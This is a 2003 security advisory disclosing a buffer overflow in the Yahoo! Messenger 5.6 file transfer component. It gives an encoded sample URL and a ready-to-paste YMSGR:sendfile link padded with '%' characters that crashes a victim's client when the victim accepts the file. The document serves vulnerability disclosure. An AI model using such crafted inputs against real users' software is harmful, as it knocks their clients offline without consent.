Buffer Overflow in Yahoo messenger Client
Date:
Oct 26, 2003
Title:
Buffer Overflow in Yahoo messenger Client
Vulnerable systems:
Yahoo! Messenger version 5.6.0.X
Summary:
Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker
to shut down the victim client.
Details:
The Yahoo messenger service filters some special characters in YahooID field
like (x,&,?).When attacker initiates a file send
request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars
and prompts "victimID" for an incoming file
transfer session.If victim accepts the incoming file, his client will be shut
down with access violation error. The access
violation accurse in FT.DLL that is responsible for p2p YM file transfers.
sample download URL that the attacker client sends to victim machine :
http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&UserID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h9t8vey6uq19
6y 14 53
Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT
the above url is encoded.
Example:
Use this link
YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]
while you are logged into YM(note that the length of victim_yahooID plus %(or ?
or &) chars must be more than 73 chars.)
It will fire a YM file transfer window.if the victim accepts your file,his
client will be closed.
Found by:
Pejman davarzany
pejman@xxxxxxxxxxxxx
Hat-Squad Security Research Team (www.hat-squad.com)